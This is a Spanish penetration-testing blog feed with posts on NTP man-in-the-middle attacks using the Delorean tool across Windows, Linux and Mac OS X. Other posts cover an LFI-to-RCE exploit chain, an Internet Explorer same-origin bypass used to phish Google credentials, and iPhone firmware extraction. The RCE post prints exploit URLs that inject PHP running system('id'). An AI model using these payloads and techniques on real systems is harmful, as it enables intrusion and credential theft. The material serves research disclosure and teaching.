En un Windows "standalone" la sincronización tiene lugar cada 7 días (domingos de madrugada para ser exactos) así que la única opción de interceptar las peticiones NTP es estar presentes el domingo o el lunes cuando el usuario arrnca el sistema por primera vez después de la hora de sincronización. Además, Windows tiene un límite de 15 horas para el cambio de la fecha, con lo que no podemos cambiar el reloj más de esas 15 horas para cada sincronización, lo cual es un verdadero problema para la mayoría de los ataques que veremos en los próximos artículos.

Esas 15 horas no son un valor escrito a fuego en el código, sino que está guardado en el registro de Windows, en las llaves "MaxPosPhaseCorrection" y "MaxNegPhaseCorrection", y pueden ser diferentes en diferentes sistemas, por ejemplo, en Windows 7/8 son 15 horas, pero en un Windows Server 2012 son 48 horas, y en servidores más antiguos será diferente también. También puede cambiar cuando se dan ciertos cambios en el sistema, por ejemplo cuando el equipo se une a un dominio Microsoft.

La combinación de ambas protecciones hace a los sistemas Windows bastante seguros en lo que a sincronización de tiempos se refiere. Sin embargo, si cualquiera de ellos es cambiado por el usuario, habría algunos vectores de ataques posibles. Por ejemplo, hay muchos tutoriales en internet explicando como cambiar la frecuencia de la sincronización de la hora, porque piensas (y probablemente están en lo cierto) que una vez a la semana no es suficiente para conseguir una buena precisión de reloj.

Bajo estas circunstancias, se me ocurrió un nuevo vector de ataque ¿Qué ocurre si un usuario configura su sistema para sincronizar la hora con más frecuencia que el limite que comentábamos antes? La respuesta es que un atacante podría interceptar la petición y cambiar la hora del equipo a unos pocos segundos antes de la próxima sincronización. Tras esos segundos interceptaría otra vez la petición y haría lo propio, y así sucesivamente hasta llegar a la fecha deseada. Llamé a este ataque "Time Skimming" porque es similar a un "Stone Skimming", que en Inglés es como se llama al efecto de tirar una piedra en un lago y que vaya saltando sobre la superficio, recorriendo grandes distancias. Este ataque también está implementado en Deloran:

Hay otra manera más de forzar la sincronización, pero requiere utilizar técnicas de ingeniería social. Cuando un usuario solicita una sincronización de hora manualmente usando el menú "Internet Time Settings" la hora se sincroniza sin ninguna restricción, pero no es tan fácil como en Mac OS X, ya que llegar a esta ventana requiere varios clicks.

Los miembros de un dominio funcionan de manera diferente. Los valores de Max[Pos|Neg]PhaseCorrction pasan a ser 0xFFFFFFFF que quiere decir "aceptar cualquier hora". Esto es un riesgo, pero han incluido firma en los paquetes para autenticar el origen de la respuesta:

Microsoft usa el estándar NTP de una forma creativa. El "Key ID" debería ser un valor que identificara qué clave debe ser usada para autenticar la respuesta. En una petición NTP normal debería tenr un valor 1 o 2, dependiendo de la cantidad de claves disponibles. Sin embargo, lo que hace Microsoft es identificar el sistema dentro del directorio activo que está realizando esta petición. Por ejmplo, si tenemos un KeyID 0x5e040000 necesitamos cambiar el orden de los bytes (endianess) y tendríamos 0x0000045e. El primer bit es un selector de clave (0 o 1), y el resto es el Relative ID (RID) del equipo.

Como probablemente sepais, tanto los equipos como los usuarios son objetos en un dirctorio activo. Los equipos son un tipo espcial de usuario. Ellos mismos crean una contraseña compartida para su usuario cuando se unen a un dominio, y esta contraseña se cambia automáticamente de forma periódica. Un controlador de dominio guarda los dos últimos hashes de las contraseñas utilizadas, que es lo que selecciona el selector de clave que comentabamos antes.

/* Sign the NTP response with the unicodePwd */
MD5Init(&ctx);
MD5Update(&ctx, nt_hash->hash, sizeof(nt_hash->hash));
MD5Update(&ctx, sign_request.packet_to_sign.data, sign_request.packet_to_sign.length);
MD5Final(signed_reply.signed_packet.data + sign_request.packet_to_sign.length + 4, &ctx);

Las respuestas son firmadas usando MD5 ( md5(hashed_password+response_body) ), que no es el algoritmo de hashing más robusto del mundo, pero al menos yo no pude encontrar un ataque factible para un mensaje tan pequeño, así que en este momento opino que la sincronización de tiempos de un dominio Microsoft es la más robusta de las que he analizado.

Sincronización de tiempos en Fedora / Ubuntu

noreply@blogger.com (Jose Selvi) — Wed, 28 Oct 2015 07:00:00 +0000

Pégale un vistazo a otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

[7] Otros ataques
[8] Herramientas de ayuda

Ayer estabamos hablando de como funciona la sincronización de tiempos en Mac OS X y de como es diferente en las versiones pre-Mavericks que en las más modernas. Hoy vamos a pegar un vistazo a GNU/Linux. Por supuesto, hay un montón de sabores de Linux disponibles, y no hubiera podido revisarlos todos, así que me quedé con los dos que yo creo que están más extendidos en los usuarios de escritorio (Ubuntu y Fedora), ya que ellos serían los objetivos principales en caso de un ataque.

Descargo de responsabilidad: Toda la información se ha obtenido de una forma empirica, realizando pruebas, y en un periodo de tiempo concreto, con lo que puede haber cambiado en el momento de leer este artículo.
Ubuntu Linux es el único sistema de los que he visto que no sincroniza su reloj de forma periódica, por lo que no es tan simple como esperar la cantidad de tiempo suficiente e interceptar la petición NTP. En Ubuntu, la sincronización se produce cada vez que un interface de red se levante (y, por supuesto, cada vez que el sistema arranca). Pegémosle un vistazo a los scripts que el sistema ejecuta cuando ésto ocurre:

$ ls /etc/network/if-up.d/
000resolvconf avahi-daemon ntpdate wpasupplicant
avahi-autoipd ethtool upstart

No hay ninguna restricción en cuanto a grandes cambios de hora, con lo que podríamos interceptar la petición y cambiar la hora local de forma sencilla, usando Delorean. Hay dos posibles escenarios: Interceptar cuando el equipo arranca o se conecta a la red, o simplemente denegarle el servicio a la red y esperar a que vuelva a conectar, deautenticando en una red Wifi, por ejemplo.

Por otro lado, Fedora Linux usa una aproximación similar a Mac OS X. En versiones anteriores, simplemente sincronizaba la hora cada minuto sin ninguna restricción de seguridad, así que resultaba sencillo y rápido usar Delorean y manipular ele reloj:

$ tcpdump -i eth0 -nn src port 123
12:43:50.614191 IP 192.168.1.101.123 > 89.248.106.98.123: NTPv3, Client, length 48
12:44:55.696390 IP 192.168.1.101.123 > 213.194.159.3.123: NTPv3, Client, length 48
12:45:59.034059 IP 192.168.1.101.123 > 89.248.106.98.123: NTPv3, Client, length 48

En algún momento cambiaron la manera en la que hacían esta sincronización. En este momento hay un servicio llamado "chrony" que funciona de manera similar a "pacemaker" en Mac OS X. Sin embargo, Chrony está configurado de una forma más segura que Pacemaker, ya que por defecto no acepta grandes cambios de hora. Solo acepta este tipo de cambios en las tres primeras sincronizaciones tras el arranque o reinicio, así que sí que podremos usar Delorean si el sistema arranca o si somos capaces de realizar una denegación de servicio de chrony.

Probablemente es muy pronto para enseñar este video, porque aún no hemos hablado de HSTS y como puede ser evadido usando ataques de sincronización, pero tomadlo como un mero ejemplo de como podemos manipular la hora de un Linux Ubuntu usando Delorean:

Sincronización de tiempos en Mac OS X

noreply@blogger.com (Jose Selvi) — Tue, 27 Oct 2015 07:00:00 +0000

Pega un vistazo a los otros posts de esta serie:

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

[7] Otros ataques
[8] Herramientas de ayuda

La semana pasada mostrabamos como funcionaba Delorean y como podría ser usado para manipular respuestas NTP. Sin embargo, los diferentes sistemas operativos sincronizan su reloj de forma ligeramente diferente.

Descargo de responsabilidad: Toda la información se ha obtenido de una forma empirica, realizando pruebas, y en un periodo de tiempo concreto, con lo que puede haber cambiado en el momento de leer este artículo.

Los Mac OS X anteriores a Mavericks usaban una sincronización de reloj muy sencilla. Un servicio NTPd se ejecuta y sincroniza el tiempo cada 9 minutos. Ninguna restricción de seguridad se aplica en este servicio, con lo que sería posible atacarlo usando Delorean.

$ tcpdump -i eth0 -nn src port 123
09:02:18.166708 IP 192.168.1.100.123 > 17.72.148.53.123: NTPv4, Client, length 48
09:11:20.059792 IP 192.168.1.100.123 > 17.72.148.53.123: NTPv4, Client, length 48
09:20:17.951361 IP 192.168.1.100.123 > 17.72.148.53.123: NTPv4, Client, length 48

Sin embargo, Apple cambio la manera de funcionar de este servicio. En la actualidad, NTPd aún es utilizado en las versiones modernas de Mac OS X, pero ya no cambia la hora por si mismo. En su lugar, la diferencia de tiempo se guarda en /var/db/ntp.drift , y hay otro servicio llamado "pacemaker" que debería comprobar su valor y cambiar el reloj si es necesario.
Este servicio tiene algunas ventajas. Por ejemplo, adapta la cantidad de peticiones NTP en función de si el equipo está conectado a corriente o funciona con baterías. Otra diferencia importante es que los cambios de reloj no se aplican en un solo paso. El reloj se acelera o se ralentiza para corregir la fecha, pero sin grandes saltos. No implementa tampoco ningún otra función de seguridad, con lo que también podría ser atacado utilizando Delorean.

Aunque no debería ser un problema, nos dimos cuenta que NTPd no estaba funcionando correctamente en éstas últimas versiones de Mac OS X, con lo que la sincronización de tiempos nos estaba funcionando. Podemos encontrar gente comentando este tema en Internet ¿Quiere esto decir que los Mac OS X modernos no son vulnerables al ataque con Delorean? La respuesta es NO. Peguemos un vistazo al script /usr/libexec/ntpd-wrapper :

Como podéis ver, Mac OS X ejecuta el comando sntp (simple NTP) en el arranque, antes de ejecutar el servicio NTPd. Este comando no está afectado por el mismo fallo, con lo que podríamos interceptar la sincronización y realizar un ataque con Delorean cuando Mac OS X arranca,

Existe otra manera de explitar este mecanismo de sincronización que implementa Mac OS X. Cuando un usuario abre el menú "Date & Time Preferences", el sistema operativo sincroniza automáticamente la hora sin el conocimiento del usuario, con lo que también podríamos usar Delorean en este escenario.

En los proximos artículos mostraremos como podemos utilizar esta vulnerabilidad para interceptar comunicaciones SSL, tal y como presentamos en DEF CON recientemente.

NTP MitM con Delorean

noreply@blogger.com (Jose Selvi) — Wed, 21 Oct 2015 06:00:00 +0000

Hace alrededor de un año y medio empecé una investigación sobre como los ordenadores sincronizaban sus relojes internos, y como esto podría usarse para atacar protocols o servicios conocidos que se ejecutan en los sistemas operativos. Como resultado, presente mis hallazgos en varias conferencias de seguridad como BlackHat Europe 2014, RootedCON 2015, DEF CON 23 y Navaja Negra / ConectaCON 2015.

Hoy, 21 de Octubre de 2015, es la fecha en la que Marty McFly fue al futuro en la segunda parte de la alucinante saga "Regreso al Futuro", así que no creo que haya una fecha mejor para empezar a publicar todos los detalles de la investigación.

[1] NTP MitM con Delorean

[2] Sincronización de tiempos en Mac OS X

[3] Sincronización de tiempos en Fedora / Ubuntu

[4] Sincronización de tiempos en Microsoft

[5] Atacando HTTP Strict Transport Security

[6] Atacando la Infraestructura de Clave Pública (PKI)

[7] Otros ataques
[8] Herramientas de ayuda

Como veremos en los sucesivos artículos, todos los fabricantes de sistemas operativos que he probado utilizan el protocol NTP (Network Time Protocol) para mantener su reloj interno actualizado a una hora correcta, lo cual es muy importante para algunos protocolos de autenticación entre otros. La mayoría de ellos no despliegan el servicio de forma segura, haciendo vulnerable a ataques de Man-in-the-Middle.

Para explotar esta vulnerabilidad, desarrollé una herramienta a la que llamé DELOREAN. Delorean es un servidor NTP escrito en python, de código abierto y disponible en GitHub (toda contribución es bienvenida). Tomé prestadas algunas lineas de código de la herramienta ntpserver de kimifly y, por supuesto, ha sido incluido en los créditos como correspondía.

Lo que hace a Delorean diferente y útil es que podemos configurar sus flags para hacer que funcione de una manera diferente a como lo haría un servidor NTP tradicional. Básicamente, podemos configurarlo para que mande respuestas manipuladas, de forma similar a como hace el módulo de Metasploit fakedns.

$ ./delorean.py -h
Usage: delorean.py [options]

Options:
-h, --help show this help message and exit
-i INTERFACE, --interface=INTERFACE Listening interface
-p PORT, --port=PORT Listening port
-n, --nobanner Not show Delorean banner
-s STEP, --force-step=STEP Force the time step: 3m (minutes), 4d (days), 1M (month)
-d DATE, --force-date=DATE Force the date: YYYY-MM-DD hh:mm[:ss]
-x, --random-date Use random date each time

Tenemos los típicos flags para el interface (-i) y puerto (-p), que nos ayudarán a poner a la escucha el servicio exactamente donde queramos. El flag -n simplemente esconde el Delorean ASCII del banner :)

_._

                               _.-="_-         _                                 

                          _.-="   _-          | ||"""""""---._______     __..    

              ___.===""""-.______-,,,,,,,,,,,,`-''----" """""       """""  __'   

       __.--""     __        ,'                   o \           __        [__|   

  __-""=======.--""  ""--.=================================.--""  ""--.=======:  

 ]       [w] : /        \ : |========================|    : /        \ :  [w] :  

 V___________:|          |: |========================|    :|          |:   _-"   

  V__________: \        / :_|=======================/_____: \        / :__-"     

  -----------'  ""____""  `-------------------------------'  ""____""  

Podemos user Delorean de varias formas, pero vamos a centrarnos en las más útiles. Hay algunas ataques que han resultado no ser muy interesantes después de desarrollarlos, pero todavía están implementados. Quizá los acabe quitando en el futuro, ya que requieren algunas dependencias como scapy que de otro modo podríamos ahorrarnos.

Todavía es pronto para hablar de como sincronizan los sistemas operativos, así que de momento probaremos Delorean utilizando la herramienta "ntpdate":

$ ntpdate -q 192.168.1.2
server 192.168.1.2, stratum 2, offset 97372804.086845, delay 0.02699
20 Oct 06:05:45 ntpdate[881]: step time server 192.168.1.2 offset 97372804.086845 sec

Por defecto (sin flags), Delorean responde con una fecha en la que coincida el mismo día del mes y de la semana que hoy, pero al menos 1000 días en el futuro. Esto es debido a que era útil para los ataques contra HSTS, tal y como veremos en próximos artículos.

# ./delorean.py -n
[19:44:42] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:44
[19:45:18] Sent to 192.168.10.113:123 - Going to the future! 2018-08-31 19:45

Podemos configurar un salto relativo desde la fecha actual usando el flag "step" (-s). Los saltos relativos pueden ser definidos como 10d (diez días en el futuro), -2y (dos años en el pasado), etc:

# ./delorean.py -s 10d -n
[19:46:09] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:46
[19:47:19] Sent to 192.168.10.113:123 - Going to the future! 2015-08-10 19:47

También podemos configurar una fecha específica, y Delorean responderá siempre con la misma fecha:

# ./delorean.py -d ‘2020-08-01 21:15’ -n
[19:49:50] Sent to 127.0.0.1:48473 - Going to the future! 2020-08-01 21:15
[19:50:10] Sent to 127.0.0.1:52406 - Going to the future! 2020-08-01 21:15

Hay otro ataque llamado "Skimming Attack" que puede ser utilized en ciertas configuraciones, pero lo veremos en profundidad cuando hablamos sobre como los sistemas operativos de Microsoft sincronizan, aunque también podrían resultar útiles en ciertas configuraciones de otras plataformas.

SANS SEC-660: "Advanced Penetration Testing, Exploit Writing and Ethical Hacking" en Madrid

noreply@blogger.com (Jose Selvi) — Tue, 08 Sep 2015 17:45:00 +0000

Como probablemente sepáis, he estado bastante involucrado con el SANS Institute desde 2010, cuando fui por primera vez Mentor Actualmente soy Community Instructor del SANS y he estado impartiendo el curso SEC-560 "Network Penetration Testing, Exploits and Ethical Hacking" varias veces en España.

El próximo Noviembre, en Madrid (España), tendrás la oportunidad de dar un paso adelante en tus habilidades como Penetration Tester con campos y técnicas no cubiertas en el SEC-560. Tal y como se puede leer en la web del SANS: SEC-660 "Advanced Penetration Testing, Exploit Writing and Ethical Hacking" es un curso diseñado como progresión lógica para aquellos alumnos que cursaron el SEC-560, o para aquellas personas que ya cuentan con experiencia realizando Penetration Testing. Los temas que se cubren incluyen ataques contra control de acceso a la red (NAC), manipulación de VLANs, escape de entornos restringidos en Windows y Linux (estilo kiosco), ataques criptográficos, fuzzing, escritura de exploits y evasión de las protecciones más comunes de los sistemas operativos como ASLR, DEP, Canaries, etc, y mucho más.

A pesar de no ser un curso enfocado exclusivamente al desarrollo de exploits como lo es el SEC-760, la parte de exploiting del SEC-660 (dos días completos) is una aproximación perfecta para aquellos Pentesters que quieran una visión en profundidad de como los procesos y la memoria son manejadas en Windows y Linux, y como explotar algunos fallos habituales, lo cual puede resultar muy útil cuando no hay un exploit público disponible o cuando éste no funciona en tu entorno específico.

Además, incluso estando acostumbrado al "estilo SANS", el SEC-660 es uno de los cursos con más prácticas y ejercicios que he visto. Hay docenas de ejercicios basados en situaciones de la vida real que podríamos encontrarnos en cualquiera de los próximos pentests que hagamos.

¿Interesado? Reservate las siguientes fechas: 2-7 de Noviembre en Madrid. Solo necesitas ponerme un correo a jselvi{-at-}pentester.es y poner en copia a sans{-at-}one-esecurity.com , y nosotros te explicaremos como se tiene que proceder. Recuerda que todo el material del curso se encuentra en Inglés, pero las clases serán impartidas en Español.

~~¿Bailamos~~ "Pentesteamos"?

Más información sobre el SEC-660 AQUÍ.

Más información sobre otros cursos y precios AQUÍ.

De Case-Insensitive a RCE

noreply@blogger.com (Jose Selvi) — Fri, 20 Feb 2015 09:30:00 +0000

Este post ha sido escrito por The DarkRaver, un buen amigo y uno de los profesionales de la seguridad más capaces que he conocido jamás. También es conocido por haber publicado herramientas como dirb o sqlibf que recomiendo que probéis.

Vayamos con su post:

------------------------------------------------------

Hace algún tiempo estaba haciendo un test de intrusión a una webapp cuando encontré algo realmente interesante. La aplicación estaba programada en PHP pero contenía algunos componentes comerciales. Pronto encontré muchos formularios vulnerables a XSS y SQLi, pero no nos vamos a centrar en eso en este post.

De repente me di cuenta que solicitando la misma página en mayúsculas o en minúsculas la respuesta que obtenía era diferente. El servidor web estaba basado en Apache y Linux (case sensitive) mientras que los ficheros parecían estar en un sistema de ficheros case insensitive (¿quizá una carpeta compartida en una NAS?), así que cuando solicitaba page.php me respondía como es de esperar, pero cuando solicitaba page.PHP se mostraba el código fuente de la página.

Esta vulnerabilidad permitió revisar el código fuente de algunos de los componentes comerciales de la aplicación, donde encontré varias funciones potencialmente peligrosas como "include()" o "include_once()" que podrían ser vulnerables. No se encontraron otro tipo de funciones peligrosas como "system()", "open()" o "file_get_contents()".

Unos pocos minutos después pude confirmar que al menos uno de esos "include_once()" era vulnerable a LFI y completamente explotable. Sin embargo, solo podíamos cargar ficheros con extensión .js (JavasScript).

Intenté evadir esta protección empleando el caracter nulo, paths largos, etc, pero nada parecía funcionar. Así que... estamos atados a esta extensión ¿Cómo podríamos subir or crear un fichero .js local?

Los formularios para subir ficheros no permitían esta extensión, así que no era capaz de crear ficheros en el servidor ¿O quizá sí? ¿Qué hay de este trozo de código?

¡Era una funcionalidad que permitía cachear ficheros JavaScript en disco! Pero... ¿Cómo podríamos injectar contenido en esos ficheros?

Un vistazo más en profundidad mostró que algunos ficheros eran generados a partir de una plantilla, y una de ellas incluía algunos parámetros controlados por el usuario ¡Genial!

Aún mejor, el parámetro injectable era el mismo que era vulnerable a LFI, así que solo tuvimos que encontrar una manera de explotar ambas vulnerabilidades al mismo tiempo.

Los ficheros JavaScript estaban almacenados en un path del estilo "/cache/".$offv.$theme.$lang.$type.$name.".js" , donde $offv era el parámetro proporcionado por el usuario y el resto podían ser facilmente deducibles mirando el código fuente, con lo que el exploit quedaría de la siguiente manera:

http://www.app.com/plugin/minjs.php?

offending_var=../../cache/<?phpinfo();?>defaultes-lacoredefault

Sin embargo, me encontré con un "500 - Internal Server Error" ¿¿Qué demonios?? Algo estaba fallando de forma terrible ¿Cómo podríamos arreglarlo? Probé otras funciones PHP como "system()" "file_get_contents()" y "phpversion()" pero la mayoría de ellas fallaban de la misma forma.

Espera... quizá el exploit está funcionando pero la aplicación falla en algún otro punto posterior ¿Qué tal su probamos a incluir un "exit()"?

http://www.app.com/plugin/minjs.php?

offending_var=../../cache/<?system(“id”);exit();?>defaultes-lacoredefault

¡Bingo! Finalmente conseguí la ejecución remota de código en el servidor, y todo empetho con una pequeña vulnerabilidad que permitía visualizar el código fuente causado por un sistema de ficheros case-insensitive. Las cosas pequeñas a veces causan grandes problemas.

An IE Same Origin Policy Bypass story

noreply@blogger.com (Jose Selvi) — Thu, 05 Feb 2015 15:51:00 +0000

Hace un par de días estaba leyendo mis feeds cuando de repente un titular llamó mi atención: "Seria vulnerabilidad en Internet Explorer totalmente parcheado expone las credenciales de los usuarios". Una técnica de evasión para el same-origin-policy de Internet Explorer había visto la luz. Este tipo de vulnerabilidades son muy críticas, ya que SOP proporciona la separación entre los diferentes sitios web dentro de nuestros navegadores, y evita que una web maliciosa pueda acceder o modificar contenido de otra web legítima.

Le he estado pegando un vistazo a la vulnerabilidad en las últimas horas y vaya si funciona. La PoC publicada funciona perfectamente pero quizá no es la proximación más práctica (real) que un atacante tomaría. Por lo que sé, no se han publicado más detalles sobre la vulnerabilidad aparte de la propia PoC, así que vamos a pegarle un vistazo al PoC. He preparado mi propia prueba de concepto simplemente para ver si era capaz de explotarla de una forma más "maléfica".

A primera vista la vulnerabilidad parece una condición de carrera o similar. Tenemos dos iframes, el primero de ellos carga una página dinámica, por ejemplo 1.php. No se ha publicado el código de esta página, pero básicamente espera durante unos pocos segundos y luego redirige a la misma URL que carga el segundo iframe.

Ambos iframes cargan una página en el website victima. Es importante encontrar una página que puede ser cargada dentro de un iframe, porque si no la vulnerabilidad no se puede explotar. Proveedores como Google, Facebook, etc, normalmente configuran sus sitios con la cabeceza "X-Frame-Options" para evitar ataques de ClickJacking, lo cual podría ser un problema.

Sin embargo, con encontrar una sola página en todo el dominio que no tenga la cabecera "X-Frame-Options" es suficiente, y eso no es tan dificil como parece. Hay dos recursos bien conocidos que no están protegidos en la mayoría de los sitios web: robots.txt (el que usa el autor original) y favicon.ico (el que uso yo para un ataque un poco más práctico).

Hay una función llamada "go()" que hace la verdadera explotación. Es dificil de leer así que permitidme que lo decodifique para vosotros.

Aquí es donde está la chicha. Hay algunas llamadas a "alert" y "eval" que parecen ser importantes. No he podido averiguar por qué pero si las cambias no funcionan. Esta parte es la más compleja de la vulnerabilidad.

Carga el segundo iframe del que hablabamos antes en la variable "x". Entonces espera unos pocos segundos (1 segundo en el código mostrado) y muestra un mensaje. Como comentaba antes, este "alert" parece ser importante así que no lo podemos borrar, pero podemos elegir un mensaje que no haga advertir al usuario que algo malo está pasando. Después de eso, cuando el primer iframe ha cambiado del atacante al sitio victima (debido a 1.php) el código Javascript y HTML es inyectado en ese segundo iframe. No deberíamos ser capaces, porque es un dominio diferente, pero lo somos. Nos hemos saltado la same-origin-policy.

Vamos a ver como lo vería una víctima:

Algunos paises tienen leyes específicas sobre cookies y los sitios web tienen que mostrar un mensaje como éste. Muchos usuarios se han acosutmbrado a ellos y simplemente pulsan aceptar.

Cuando injecté código en el iframe, utilicé un botón de google, de estos que se usan para autenticarte en sitios externos. Puede que no sea el blog más bonito del mundo, pero... parece un blog de verdad :)

Se abre la pantalla de autenticación de Google. Todo parece correcto pero el javascript debería haber cambiado al "action" del formulario de login, con lo que las credenciales deberían ir a un dominio diferente.

¡Hecho! Una vulnerabilidad realmente interesante. No puedo esperar a que salgan más detalles de la vulnerabilidad y ver porque los "alert", "eval" y "setTimeout" son tan importantes.

Pentester.Es ahora en Inglés

noreply@blogger.com (Jose Selvi) — Mon, 20 Oct 2014 16:20:00 +0000

Durante los últimos 7 años he estado escribiendo este blog de seguridad en Español: Pentester.Es. En su momento decidí empezar a escribirlo en Español porque es mi lengua materna y porque trabajo principalmente para empresas y personas Españolas.

Alrededor de hace un año decidí que debería iniciar un proceso de "internacionalización". Hace unos pocos días di mi primera charla en Inglés en la Black Hat Europe y ahora es el momento de empezar a escribir los artículos del blog en Inglés.

Así que... ahora hay un selector de idioma en la parte superior derecha de la web. No voy a traducir los artículos viejos, pero todos los nuevos los voy a ir escribiendo en Inglés y en Español.

Agenda de Septiembre y Octubre

noreply@blogger.com (Jose Selvi) — Mon, 01 Sep 2014 11:08:00 +0000

Septiembre y Octubre, como quien no quiere la cosa, está plagado de conferencias y eventos de seguridad por casi todo el país. Durante los pasados meses he mandado algunas propuestas a los CFP de las diferentes charlas y he tenido la suerte de que sean aceptadas, así que tocan un par de meses de pasearse por ahí :)

El primero de los eventos es la RootedCON Satellite Edition, el 19 y 20 de Septiembre, una iniciativa de los organizadores de la RootedCON que pretende acercar charlas de seguridad de primer nivel a todas las ciudades de España. Este año, en su primera edición, la ciudad elegida es Valencia, mi ciudad natal, así que era un evento que no podía perderme. Fin de semana de charlas de seguridad, paseos por la Ciudad de las Artes y las Ciencias y bañito en la playa, que aún tendremos buena temperatura ¿Se puede pedir más?

En este evento hablaremos un poco de exploits, de lo frustrante que es a veces para un Pentester cuando lanzas un exploit y el condenado no funciona, y como podemos, en ocasiones, usar un poco de "brujería" para hacer que finalmente funcione.

Todos los detalles en la PÁGINA OFICIAL DEL EVENTO.

Un par de semanas después, los días 2, 3 y 4 de Octubre, nos desplazaremos a Albacete a dar una charla en las conferencias Navaja Negra, que a pesar de tener menos volumen de asistentes que otras macro-conferencias del panorama nacional, cuenta siempre con una calidad muy alta en sus charlas.

En esta charla os contaré un caso real de como realizamos una simulación de un ataque dirigido (APT) contra un alto directivo de una importante empresa española. Móviles, exploiting, puertas traseras, ingeniería social, ... todo mezclado y revuelto ¿Te apetece ver como acaba la historia? Apúntate en la PÁGINA OFICIAL.

Los días 16 y 17 de Octubre damos un salto un poco más largo y nos vamos hasta Amsterdam, a dar una charla en las conferencias BlackHat Europe, la edición europea de las conocidas conferencias BlackHat, que tienen diferentes ediciones por todo el mundo.

En la charla hablaremos sobre conexiones HTTPS, la cabecera HTTP Strict Transport Security y sobre algunas circunstancias en las cuales esta protección podría perder su efectividad. Más información en la PÁGINA OFICIAL.

Aunque por motivos de agenda este año me ha resultado imposible repetir dando charla en ConectaCON, me parecería injusto no mencionarla, ya que siempre cuenta con un buen cartel de ponentes y con charlas de gran interés, así que si tenéis la oportunidad pasaros los próximos 23 y 24 de Octubre por Jaén a disfrutar del evento. PÁGINA OFICIAL.

Otra de las conferencias por las que este año no me podré pasar pero que es más que recomendable son las conferencias GSickMinds que tendrán lugar en La Coruña los días 29, 30 y 31 de Octubre. Estas conferencias tienen el aliciente de contar habitualmente con ponentes invitados de altísimo nivel, como por ejemplo Angel Prado y Juliano Rizzo, que el año pasado estuvieron hablando de las debilidades en SSL que publicaron y de las que habían andado hablando por las principales conferencias del mundo.

Aunque tampoco estré finalmente este año, los días 31 de Octubre y 1 de Noviembre tenéis en Barcelona la conferencia No cON Name, la más veterana de las conferencias (públicas) Españolas y, junto con RootedCON, el referente en los eventos de seguridad del país. La NcN tiene el aliciente de contar con un magnifico reto de Capture de Flag (CTF). El año pasado fue organizado por el equipo de seguridad de FaceBook y tengo que decir que me lo pasé realmente bien participando.

Apuntaros YA en la PÁGINA OFICIAL.

Vulnerabilidad en el iBoot de iPhone 4S

noreply@blogger.com (Jose Selvi) — Fri, 07 Feb 2014 11:00:00 +0000

Hace unos pocos días pudimos ver en Twitter como un conocido Jailbreaker, iH8sn0w, comentaba haber encontrado una vulnerabilidad en los dispositivos con procesador A5 de Apple (iPhone 4S, por ejemplo).

Según sus propias palabras, la vulnerabilidad se encontraría en el iBoot, una de las partes del arranque de los dispositivos de Apple que se ejecuta previamente a la ejecución del kernel del sistema operativo iOS.

El arranque de un dispositivo iOS se realiza mediante la llamada "Secure Boot Chain", en la que cada etapa realiza sus acciones pertinentes y comprueba la firma de la siguiente etapa antes de otorgarle el control.

La primera etapa de todas, el bootrom, se escribe en el dispositivo en el momento del ensamblaje, y no puede ser cambiada ni actualizada en toda la vida del mismo. Las vulnerabilidades en alguno de estos elementos del arranque, o en el propio kernel, permitirían evadir esta protección de la firma, y por lo tanto arrancar versiones modificadas del kernel, que es en lo que consiste un Jailbreak.

No obstante, a pesar de que el propio iH8sn0w comenta que, a partir de ahora, los dispositivos A5 son "Jailbreakeables" de por vida, a priori únicamente las vulnerabilidades en el bootrom serían de este tipo, ya que al estar embebido en el propio hardware es el único elemento que no puede ser actualizado por Apple. El iBoot, elemento en el que parece existir la vulnerabilidad, se encuentra dentro de la imagen del sistema operativo iOS que descargamos en el momento de realizar una actualización, dentro del fichero IPSW, por lo que Apple podría corregir la vulnerabilidad en próximas releases.

Dado que los detalles de la vulnerabilidad aún no han sido publicados y todavía no podemos ponernos a jugar con ella, vamos a descargar el IPSW de una versión vulnerable y a intentar extraer la imagen del iBoot. Para ello lo primero que vamos a hacer es descargar la imagen con la que vamos a trabajar, por ejemplo la versión 7.0.4 para iPhone 4S, de la conocida web ipswdownloader.com.

El fichero IPSW no es más que un ZIP al que se le ha cambiado la extensión, pero sus ficheros se encuentran cifrados mediante el algoritmo AES, empleando claves a priori desconocidas. Veamoslo:

$ file iPhone4,1_7.0.4_11B554a_Restore.ipsw

iPhone4,1_7.0.4_11B554a_Restore.ipsw: Zip archive data, at least v2.0 to extract

$ unzip iPhone4,1_7.0.4_11B554a_Restore.ipsw

Archive: iPhone4,1_7.0.4_11B554a_Restore.ipsw

inflating: 058-1077-002.dmg

inflating: 058-1108-002.dmg

inflating: 058-1124-002.dmg

inflating: BuildManifest.plist

creating: Firmware/

creating: Firmware/all_flash/

creating: Firmware/all_flash/all_flash.n94ap.production/

inflating: Firmware/all_flash/all_flash.n94ap.production/applelogo@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/batterycharging0@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/batterycharging1@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/batteryfull@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/batterylow0@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/batterylow1@2x~iphone.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/DeviceTree.n94ap.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/glyphplugin@2x~iphone-30pin.s5l8940x.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/iBoot.n94ap.RELEASE.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/LLB.n94ap.RELEASE.img3

inflating: Firmware/all_flash/all_flash.n94ap.production/manifest

inflating: Firmware/all_flash/all_flash.n94ap.production/recoverymode@2x~iphone-30pin.s5l8940x.img3

creating: Firmware/dfu/

inflating: Firmware/dfu/iBEC.n94ap.RELEASE.dfu

inflating: Firmware/dfu/iBSS.n94ap.RELEASE.dfu

